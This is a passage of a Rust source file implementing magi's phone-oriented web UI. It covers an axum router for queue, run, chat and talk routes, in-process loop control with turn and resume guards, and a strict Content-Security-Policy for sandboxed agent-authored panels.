Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # An interview is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/chats/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one chat are refused rather
68//! than queued - see [`Ui::begin_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::advise;
118use crate::ask::{Answer, Question, Questions};
119use crate::chat::{Chat, Chats};
120use crate::config::{Config, Update, UpdateMode};
121use crate::md;
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Task, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{chat, daemon, report, repos, run, talk, updater};
127
128/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
129pub const DEFAULT_PORT: u16 = 7878;
130
131/// How often the change stream restats the queue and the runs directory.
132const POLL: Duration = Duration::from_secs(1);
133
134/// Keep-alive interval for the change stream. Phones and intermediaries drop
135/// an idle connection within a minute; a comment every fifteen seconds keeps
136/// the stream alive without waking the radio often enough to matter.
137const KEEPALIVE: Duration = Duration::from_secs(15);
138
139/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
140///
141/// A fixed period this long would not track a `[update] interval` shorter
142/// than itself: an operator who set `interval = "1m"` to make the deck
143/// notice a release within a minute would still wait up to fifteen of them
144/// for the next wake-up to even ask [`updater::Checker::should_check`].
145/// [`recheck_poll_period`] scales the sleep with the configured interval
146/// instead, and this is only its ceiling - reached at the default interval
147/// of a day, where waking any more often would just spend cycles asking a
148/// question that stays "no" for hours.
149const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151/// Floor on the same, so a very short `[update] interval` cannot spin
152/// [`run_update_recheck`] in a near-busy loop.
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155/// Runs returned when the client does not ask, and the ceiling if it asks for
156/// more. The cap exists because the list handler parses every `run.json` it
157/// returns, and a phone cannot render two thousand rows anyway.
158const LIST_DEFAULT: usize = 50;
159/// Upper bound for `?limit=`.
160const LIST_MAX: usize = 500;
161
162/// Width of a generated task title, matching what the CLI uses.
163const TITLE_MAX: usize = 72;
164
165/// Per-file cap for an attachment upload.
166///
167/// Enforced twice: axum's own body limit is raised one byte above this, only
168/// on the two attachment `POST` routes (see the router - every other route
169/// keeps the crate-wide default), so an oversize body is still read far
170/// enough to answer with our own message below rather than axum's generic
171/// one; this constant is what that message and the boundary check actually
172/// compare against.
173const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175/// The image types an attachment upload accepts - a closed whitelist, the
176/// same posture [`asset_content_type`] takes for panel assets and for the
177/// same reason: SVG is excluded on purpose because it is active content
178/// (it may carry `<script>`) and not merely a picture, so it never appears
179/// here even though `image/svg+xml` is a real IANA type.
180const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182/// Header carrying the operator's own filename. Free text, stored only for
183/// display - see [`chat::Attachment::name`]'s doc on why it never
184/// contributes to a path.
185const FILENAME_HEADER: &str = "x-filename";
186
187/// The header that makes serving agent-authored HTML defensible, sent by both
188/// panel routes and asserted verbatim by a test.
189///
190/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
191/// denies every fetch destination that is not re-allowed below, which is all of
192/// them except images and fonts; `img-src 'self' data:` means an image comes
193/// from magi's own asset route or from the document itself, so a panel cannot
194/// signal an outside server by pointing an `<img>` at it - the classic
195/// exfiltration channel for markup that cannot run script. `style-src
196/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
197/// free formatting means here and a style sheet cannot make a request that
198/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
199/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
200/// stops a form posting the owner's decision to a third party, and
201/// `frame-ancestors 'self'` stops another site framing the panel to phish with
202/// it.
203///
204/// There is deliberately no `script-src`: `default-src 'none'` already covers
205/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
206/// denied twice over. Weakening any directive here is the difference between a
207/// panel the owner reads and a page that can talk to the tailnet, which is why
208/// the test compares the whole string rather than looking for a substring.
209const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210                         font-src data:; base-uri 'none'; form-action 'none'; \
211                         frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217/// Which address to listen on.
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220    /// Ask Tailscale, and fall back to loopback with a warning.
221    Auto,
222    /// An address the operator named.
223    Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227    type Err = String;
228
229    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
230    /// the CLI can take `--bind` straight into it: the one spelling of
231    /// `auto` that matters is the one this function knows.
232    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233        if s.eq_ignore_ascii_case("auto") {
234            return Ok(Self::Auto);
235        }
236        s.parse()
237            .map(Self::Addr)
238            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239    }
240}
241
242impl std::fmt::Display for Bind {
243    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244        match self {
245            Self::Auto => f.write_str("auto"),
246            Self::Addr(addr) => write!(f, "{addr}"),
247        }
248    }
249}
250
251/// How to serve.
252#[derive(Debug, Clone)]
253pub struct Opts {
254    /// Address to listen on.
255    pub bind: Bind,
256    /// Port to listen on.
257    pub port: u16,
258    /// Repository used for tasks posted without one.
259    pub repo: PathBuf,
260    /// Print the URL on its own line for a caller that wants to hand it to a
261    /// browser. magi never launches one itself.
262    pub open: bool,
263    /// Merge mode override for the loop this process runs (`none`, `local`,
264    /// `pr`); `None` leaves it to each repository's own config.
265    ///
266    /// The same override `magi serve --merge` takes, and here for the same
267    /// reason: `magi web` is now the thing that runs the loop, so an operator
268    /// who wants this session's runs to open pull requests has to be able to
269    /// say so without going back to the command they no longer type.
270    pub merge: Option<String>,
271}
272
273impl Default for Opts {
274    fn default() -> Self {
275        Self {
276            bind: Bind::Auto,
277            port: DEFAULT_PORT,
278            repo: PathBuf::from("."),
279            open: false,
280            merge: None,
281        }
282    }
283}
284
285/// Everything the handlers touch.
286///
287/// The queue, the runs directory and the magi home are fields rather than
288/// process-global lookups so a test drives the real router against a temp
289/// directory instead of the operator's own history.
290#[derive(Debug, Clone)]
291pub struct Ui {
292    queue: Queue,
293    questions: Questions,
294    chats: Chats,
295    talks: Talks,
296    runs: PathBuf,
297    home: PathBuf,
298    repo: PathBuf,
299    /// Where the runs' worktrees live, for the health disk figures.
300    ///
301    /// Spelled independently of [`crate::run::default_worktree_root`] so the
302    /// test servers can point it at their own temp directory: the health route
303    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
304    /// be measuring the machine instead of the server.
305    worktrees_root: PathBuf,
306    /// Chats with an agent turn in flight right now.
307    ///
308    /// In-process and therefore not durable, which is correct: it guards
309    /// against two taps on one phone and two phones on one tailnet, both of
310    /// which are this process's own concurrency. A second `magi web` would not
311    /// see it, and a second `magi web` on the same home is already a
312    /// misconfiguration the queue's claims would catch first.
313    turns: Arc<Mutex<HashSet<String>>>,
314    /// Talks with an agent turn in flight right now. Separate from `turns`
315    /// because a talk and a chat are different stores with different ids;
316    /// sharing one set would let a chat id collide with a talk id in theory,
317    /// and there is no reason to make the two surfaces share a guard at all.
318    talk_turns: Arc<Mutex<HashSet<String>>>,
319    /// Runs this process is resuming right now.
320    ///
321    /// Separate from `turns` because a run and a chat are different things to
322    /// hold, and a resume is far more expensive to start twice: it re-asks
323    /// agent seats. Same reasoning about scope as `turns` — this guards two
324    /// taps and two phones, which is this process's own concurrency.
325    resuming: Arc<Mutex<HashSet<String>>>,
326    /// The last scan of `[repos] roots`, and when it happened. Shared across
327    /// requests so a phone opening the repository picker repeatedly does not
328    /// repeat the filesystem walk every time - see [`repos::Cache`].
329    repos_cache: repos::Cache,
330    /// Merge mode override handed to the loop this process starts.
331    merge: Option<String>,
332    /// The loop this process is running, if it is running one.
333    looping: Arc<Mutex<LoopState>>,
334    /// How a loop is actually started.
335    ///
336    /// A field rather than a direct call to [`daemon::serve_until`], because
337    /// the real loop resolves its queue and its status file through the
338    /// process-global magi home and claims whatever it finds there. A test
339    /// that started it would reach straight past its own temp directory into
340    /// the operator's live queue, overwrite the status file of the `magi
341    /// serve` that owns it, and spend real agent quota on a real competition.
342    /// What the routes have to get right is the bookkeeping, so the tests
343    /// drive the routes against a loop that only starts and stops; production
344    /// is [`launch_daemon`] and nothing reassigns it.
345    launch: Launch,
346}
347
348impl Ui {
349    /// A server over explicit paths.
350    pub fn new(
351        queue: Queue,
352        questions: Questions,
353        chats: Chats,
354        talks: Talks,
355        runs: PathBuf,
356        home: PathBuf,
357        repo: PathBuf,
358    ) -> Self {
359        Self {
360            queue,
361            questions,
362            chats,
363            talks,
364            runs,
365            home,
366            repo,
367            // The default location, overridden by `with_worktrees_root` - a
368            // builder step rather than a ninth parameter, for the reason
369            // `with_merge` gives.
370            worktrees_root: run::default_worktree_root(),
371            turns: Arc::default(),
372            talk_turns: Arc::default(),
373            resuming: Arc::default(),
374            repos_cache: repos::Cache::new(),
375            merge: None,
376            looping: Arc::default(),
377            launch: launch_daemon,
378        }
379    }
380
381    /// The operator's own state: `<home>/queue`, `<home>/questions`,
382    /// `<home>/chats`, `<home>/talks`, `<home>/runs`.
383    pub fn open(repo: PathBuf) -> Self {
384        Self::new(
385            Queue::open(),
386            Questions::open(),
387            Chats::open(),
388            Talks::open(),
389            run::runs_root(),
390            run::home(),
391            repo,
392        )
393    }
394
395    /// The merge mode the loop should use, as the command line gave it.
396    ///
397    /// A builder step rather than a seventh parameter on [`Ui::new`], because
398    /// the override is a property of how this process was invoked and not of
399    /// where its state lives - which is all the tests that build a `Ui` by
400    /// hand are saying.
401    #[must_use]
402    pub fn with_merge(mut self, merge: Option<String>) -> Self {
403        self.merge = merge;
404        self
405    }
406
407    /// Where the runs' worktrees live, when it is not the default.
408    ///
409    /// The health view sizes this directory, so a test that leaves it at the
410    /// default would be measuring the operator's own machine.
411    #[must_use]
412    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
413        self.worktrees_root = root;
414        self
415    }
416
417    /// Point the loop at something other than [`launch_daemon`].
418    ///
419    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
420    /// this crate may start the real loop.
421    #[cfg(test)]
422    #[must_use]
423    fn with_launch(mut self, launch: Launch) -> Self {
424        self.launch = launch;
425        self
426    }
427
428    /// The loop's state, for [`serve`]'s own way out.
429    fn looping(&self) -> Arc<Mutex<LoopState>> {
430        Arc::clone(&self.looping)
431    }
432
433    /// Start the loop in this process, or say who already has one.
434    ///
435    /// `foreign` is passed in rather than read here so that one request makes
436    /// one judgement about who owns the loop: reading the status file again
437    /// inside this function could refuse a start for a daemon the same
438    /// response then reports as gone.
439    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
440        if let Some(other) = foreign {
441            return Err(ApiError::conflict(format!(
442                "{} is already running the loop, so this one will not start a \
443                 second: two loops on one queue race for the same claims and \
444                 burn the agent quota twice over. Stop it where it was \
445                 started.",
446                other.who()
447            )));
448        }
449        let mut state = self.lock_loop();
450        if state.live.as_ref().is_some_and(Live::alive) {
451            return Err(ApiError::conflict(format!(
452                "this magi web process (pid {}) is already running the loop",
453                std::process::id()
454            )));
455        }
456
457        let stop = daemon::Stop::new();
458        // The CLI's own defaults for everything the UI has no opinion about:
459        // one poll interval and one retry budget, so a loop started from a
460        // phone behaves exactly like the `magi serve` it replaces.
461        let opts = daemon::Opts {
462            repo: self.repo.clone(),
463            merge: self.merge.clone(),
464            // Whatever this `Ui` already reports worktree sizes and folds
465            // against (see `with_worktrees_root`) is what the loop it starts
466            // must reclaim orphaned worktrees under too - two different
467            // opinions about where the worktree bay is would leave the
468            // janitor pass reclaiming a directory nothing else on this
469            // process is even looking at.
470            worktrees_root: Some(self.worktrees_root.clone()),
471            ..daemon::Opts::default()
472        };
473        let launch = self.launch;
474        let looping = Arc::clone(&self.looping);
475        let handle = tokio::spawn({
476            let opts = opts.clone();
477            let stop = stop.clone();
478            async move {
479                let failure = match launch(opts, stop).await {
480                    Ok(()) => None,
481                    Err(e) => Some(format!("{e:#}")),
482                };
483                match &failure {
484                    Some(why) => tracing::error!("the loop stopped: {why}"),
485                    None => tracing::info!("the loop stopped"),
486                }
487                // Recorded by the task itself rather than reaped by whichever
488                // request happens next, so `loop_rev` moves the moment the
489                // loop ends and a phone with the change stream open learns
490                // that it did. Clearing `live` drops this task's own handle,
491                // which only detaches it, and is the last thing it does.
492                let mut state = lock_or_recover(&looping);
493                state.live = None;
494                state.last_error = failure;
495                state.rev += 1;
496            }
497        });
498        tracing::info!(
499            "the loop is now running in this process: repo {}, merge {}",
500            opts.repo.display(),
501            opts.merge.as_deref().unwrap_or("as the config says")
502        );
503        state.live = Some(Live { stop, handle, opts });
504        // A fresh start is not the place to keep showing why the last one
505        // died; the operator has read it and pressed the button anyway.
506        state.last_error = None;
507        state.rev += 1;
508        Ok(())
509    }
510
511    /// Ask the loop to stop, without waiting for it to get there.
512    ///
513    /// Idempotent: a second tap on stop is not an error, because the first one
514    /// leaves the loop running for as long as the run in flight takes and the
515    /// operator has no way to tell a slow stop from a lost one.
516    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
517        if let Some(other) = foreign {
518            return Err(ApiError::conflict(format!(
519                "the loop belongs to {}, and this process cannot stop it - \
520                 stop it where it was started. A button that silently did \
521                 nothing would be worse than this refusal.",
522                other.who()
523            )));
524        }
525        let mut state = self.lock_loop();
526        let Some(live) = state.live.as_ref() else {
527            return Ok(());
528        };
529        // A park upgrades a stop that has already been asked for: the
530        // operator who tapped "stop" and then realised the run has an hour
531        // left must not have to restart the loop to change their mind.
532        if live.stop.stopped() && (!park || live.stop.parking()) {
533            return Ok(());
534        }
535        if park {
536            live.stop.park();
537            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
538        } else {
539            live.stop.stop();
540            tracing::info!("the loop was asked to stop; a run in flight is finished first");
541        }
542        state.rev += 1;
543        Ok(())
544    }
545
546    /// The loop as both `/api/loop` and `/api/health` report it.
547    ///
548    /// `reading` is the caller's single read of `<home>/daemon.json`, because
549    /// health answers with this view *and* the daemon object beside it: one
550    /// read per response is what stops a single answer naming a foreign owner
551    /// in one field and calling the loop free in the other.
552    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
553        let state = self.lock_loop();
554        // A loop that panicked never recorded its own end, so the handle -
555        // not the presence of the record - is what "running" means.
556        let live = state.live.as_ref().filter(|live| live.alive());
557        LoopView {
558            running: live.is_some(),
559            stopping: live.is_some_and(|live| live.stop.finishing()),
560            parking: live.is_some_and(|live| live.stop.parking()),
561            owned: live.is_some(),
562            repo: live
563                .map_or(&self.repo, |live| &live.opts.repo)
564                .display()
565                .to_string(),
566            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
567            last_error: state.last_error.clone(),
568            daemon: DaemonView::of(reading),
569        }
570    }
571
572    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
573    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
574        lock_or_recover(&self.looping)
575    }
576
577    /// Claim the right to run one turn in a chat, or refuse.
578    ///
579    /// An interview is strictly turn-based: the interviewing agent is resumed
580    /// with the conversation it already has, so two turns running at once would
581    /// resume the same session twice and append their answers in whatever order
582    /// the two CLIs finished in. The operator would come back to a transcript
583    /// with two half-turns interleaved, which is unreadable and, worse,
584    /// unfixable - there is no undo for a persisted turn.
585    ///
586    /// Refusing with a conflict rather than queueing behind the first turn is
587    /// the deliberate half. A turn takes tens of seconds, so a phone on a slow
588    /// link is exactly the case where the operator taps send twice; queueing
589    /// would answer the second tap with a second agent turn on text they only
590    /// meant to send once, and would do it a minute later when they have
591    /// stopped looking. An immediate 409 is a thing the front end can act on.
592    ///
593    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
594    /// taken to test-and-insert and released before the agent is spawned. The
595    /// returned guard removes the id on drop, which is what makes a panicking
596    /// handler or a phone that walks out of range leave the chat usable - axum
597    /// drops the handler future when the client disconnects, and without the
598    /// guard that chat would be wedged until the server restarted.
599    fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
600        let mut live = self
601            .turns
602            .lock()
603            .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
604        if !live.insert(id.to_owned()) {
605            return Err(ApiError::conflict(format!(
606                "chat {id} is already taking a turn"
607            )));
608        }
609        Ok(TurnGuard {
610            chat: id.to_owned(),
611            turns: Arc::clone(&self.turns),
612        })
613    }
614
615    /// Is this chat's turn claimed by [`Ui::begin_turn`] in this process right
616    /// now? The source of [`ChatView::thinking`] - see there for what the
617    /// answer does and does not promise.
618    fn is_thinking(&self, id: &str) -> bool {
619        self.turns.lock().is_ok_and(|live| live.contains(id))
620    }
621
622    /// [`Ui::begin_turn`]'s counterpart for a talk. Same reasoning throughout:
623    /// a talk's seat is resumed the same way a planning chat's is, so two
624    /// turns running at once would race to append to one CLI conversation.
625    fn begin_talk_turn(&self, id: &str) -> ApiResult<TalkTurnGuard> {
626        let mut live = self
627            .talk_turns
628            .lock()
629            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
630        if !live.insert(id.to_owned()) {
631            return Err(ApiError::conflict(format!(
632                "talk {id} is already taking a turn"
633            )));
634        }
635        Ok(TalkTurnGuard {
636            talk: id.to_owned(),
637            turns: Arc::clone(&self.talk_turns),
638        })
639    }
640
641    /// Park the loop for an upgrade, and report the run that is parking.
642    ///
643    /// A park rather than a stop: a stop waits out the whole competition, and
644    /// not waiting is the point of upgrading from a phone. `None` means
645    /// nothing was in flight, which is worth saying so the operator is not
646    /// told a run is parking when none is.
647    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
648        let parking = {
649            let mut state = self.lock_loop();
650            let Some(live) = state.live.as_ref() else {
651                return Ok(None);
652            };
653            let busy = live.stop.busy_now();
654            live.stop.park();
655            state.rev += 1;
656            busy
657        };
658        Ok(if parking {
659            // More than one run can be in flight now (see
660            // `Config::daemon.max_concurrent_runs`); this answer names one of
661            // them so the operator sees a park actually happened, not every
662            // run a park now asks to stop at its next boundary.
663            daemon::current_work(&self.home, jiff::Timestamp::now())
664                .into_iter()
665                .next()
666                .map(|c| c.run)
667        } else {
668            None
669        })
670    }
671
672    /// Claim a run for a resume, on the same reasoning as [`Ui::begin_turn`]:
673    /// a guard that releases on drop, so a disconnected phone does not wedge
674    /// the run until the server restarts.
675    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
676        let mut live = self
677            .resuming
678            .lock()
679            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
680        if !live.insert(id.to_owned()) {
681            return Err(ApiError::conflict(format!(
682                "run {id} is already being resumed"
683            )));
684        }
685        Ok(ResumeGuard {
686            run: id.to_owned(),
687            resuming: Arc::clone(&self.resuming),
688        })
689    }
690
691    /// The router, with this state baked in.
692    ///
693    /// The three front-end files get one explicit route each rather than a
694    /// path parameter, so there is no traversal surface to get wrong: the set
695    /// of servable paths is the set written here. The asset route below is the
696    /// one exception and the only place in this server where a client names a
697    /// file; it is why [`valid_asset_name`] is checked before a path is built.
698    pub fn router(self) -> Router {
699        Router::new()
700            .route("/", get(index))
701            .route("/app.css", get(app_css))
702            .route("/app.js", get(app_js))
703            .route("/api/health", get(health))
704            .route("/api/loop", get(loop_get).post(loop_post))
705            .route("/api/upgrade", post(upgrade_post))
706            .route("/api/runs", get(runs_list))
707            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
708            .route("/api/runs/{id}/report", get(run_report))
709            .route("/api/runs/{id}/fold", post(run_fold))
710            .route("/api/runs/{id}/resume", post(run_resume))
711            .route("/api/queue", get(queue_list))
712            .route("/api/queue/{id}", delete(queue_delete))
713            .route("/api/repos", get(repos_list))
714            .route("/api/drafts", get(drafts_list))
715            .route("/api/drafts/{id}/advisors", get(draft_advisors))
716            .route("/api/queue/{id}/hold", post(queue_hold))
717            .route("/api/queue/{id}/release", post(queue_release))
718            .route("/api/queue/{id}/priority", post(queue_priority))
719            .route("/api/queue/{id}/edit", post(queue_edit))
720            .route("/api/queue/{id}/done", post(queue_done))
721            .route("/api/questions", get(questions_list))
722            .route("/api/questions/{id}/answer", post(question_answer))
723            .route("/api/questions/{id}/say", post(question_say))
724            .route("/api/questions/{id}/panel", get(question_panel))
725            // The same asset, reachable from inside the panel by its bare
726            // filename. A document served at `.../panel` resolves `shot.png`
727            // to `.../shot.png`, which is not the asset route, so a panel
728            // written the way its author was told to write it showed broken
729            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
730            // it - deliberately - so the fix is that the panel's own URL ends
731            // in a filename and its siblings are the assets.
732            .route("/api/questions/{id}/panel/index.html", get(question_panel))
733            .route("/api/questions/{id}/panel/{name}", get(question_asset))
734            .route("/api/questions/{id}/asset/{name}", get(question_asset))
735            .route("/api/chats", get(chats_list).post(chat_post))
736            .route("/api/chats/{id}", get(chat_detail))
737            .route("/api/chats/{id}/say", post(chat_say))
738            .route("/api/chats/{id}/file", post(chat_file))
739            .route("/api/chats/{id}/abandon", post(chat_abandon))
740            // `DefaultBodyLimit` is raised only on this one route - every
741            // other route on this server answers in a few kilobytes, and
742            // widening the crate-wide default for all of them just because
743            // one accepts a picture would let any other handler be handed
744            // a multi-megabyte body it never expects.
745            .route(
746                "/api/chats/{id}/attachments",
747                post(chat_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
748            )
749            .route(
750                "/api/chats/{id}/attachments/{att}",
751                get(chat_attachment_get),
752            )
753            .route("/api/talks", get(talks_list).post(talk_post))
754            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
755            .route("/api/talks/{id}/say", post(talk_say))
756            .route("/api/talks/{id}/close", post(talk_close))
757            .route("/api/talks/{id}/reopen", post(talk_reopen))
758            .route(
759                "/api/talks/{id}/attachments",
760                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
761            )
762            .route(
763                "/api/talks/{id}/attachments/{att}",
764                get(talk_attachment_get),
765            )
766            .route("/api/events", get(events))
767            .with_state(Arc::new(self))
768    }
769}
770
771/// One chat's turn slot, released on drop.
772///
773/// A guard rather than a matching `remove` at the end of the handler, because
774/// the handler has several early returns and one `await` that can be cancelled
775/// out from under it. A leaked id is a chat nobody can talk to again.
776#[derive(Debug)]
777struct TurnGuard {
778    chat: String,
779    turns: Arc<Mutex<HashSet<String>>>,
780}
781
782impl Drop for TurnGuard {
783    fn drop(&mut self) {
784        if let Ok(mut live) = self.turns.lock() {
785            live.remove(&self.chat);
786        }
787    }
788}
789
790/// [`TurnGuard`]'s counterpart for a talk's turn slot.
791#[derive(Debug)]
792struct TalkTurnGuard {
793    talk: String,
794    turns: Arc<Mutex<HashSet<String>>>,
795}
796
797impl Drop for TalkTurnGuard {
798    fn drop(&mut self) {
799        if let Ok(mut live) = self.turns.lock() {
800            live.remove(&self.talk);
801        }
802    }
803}
804
805/// Releases a resume claim, so a run is resumable again after the attempt.
806struct ResumeGuard {
807    run: String,
808    resuming: Arc<Mutex<HashSet<String>>>,
809}
810
811impl Drop for ResumeGuard {
812    fn drop(&mut self) {
813        if let Ok(mut live) = self.resuming.lock() {
814            live.remove(&self.run);
815        }
816    }
817}
818
819/// Bind the port, waiting briefly for a predecessor to let go of it.
820///
821/// A restart hands the address from one process to the next, and the old one
822/// holds its listener until it unwinds. A single `bind` can lose that race,
823/// and for a restart triggered from a phone that means the deck never comes
824/// back with no terminal around to say why.
825///
826/// Bounded, and only for the one error a wait can fix: anything else fails at
827/// once, because retrying it would turn a clear message into a silence.
828async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
829    const WINDOW: Duration = Duration::from_secs(10);
830    const GAP: Duration = Duration::from_millis(250);
831
832    let deadline = std::time::Instant::now() + WINDOW;
833    let mut said = false;
834    loop {
835        match tokio::net::TcpListener::bind(socket).await {
836            Ok(listener) => return Ok(listener),
837            Err(e)
838                if e.kind() == std::io::ErrorKind::AddrInUse
839                    && std::time::Instant::now() < deadline =>
840            {
841                if !said {
842                    said = true;
843                    tracing::info!(
844                        "{socket} is still held - waiting up to {}s for it, \
845                         which is what a restart looks like from here",
846                        WINDOW.as_secs()
847                    );
848                }
849                tokio::time::sleep(GAP).await;
850            }
851            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
852        }
853    }
854}
855
856/// Signalled when an upgrade has replaced the binary and the successor should
857/// take this address over. One per process: there is one address to hand on.
858static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
859
860/// Start this binary again with the same arguments, detached.
861///
862/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
863/// so the address is already free when the successor binds it. The first
864/// attempt at this spawned the successor two hundred milliseconds before
865/// exiting instead, and the released binary - which has no bind retry - died
866/// on "address already in use" with its stdio sent to null, so the deck
867/// simply never came back.
868///
869/// Detached and without inherited stdio: the successor has to outlive this
870/// process, and must not hold open a pipe a terminal is waiting on.
871fn spawn_successor() -> Result<()> {
872    let exe = std::env::current_exe().context("find this binary")?;
873    let args: Vec<String> = std::env::args().skip(1).collect();
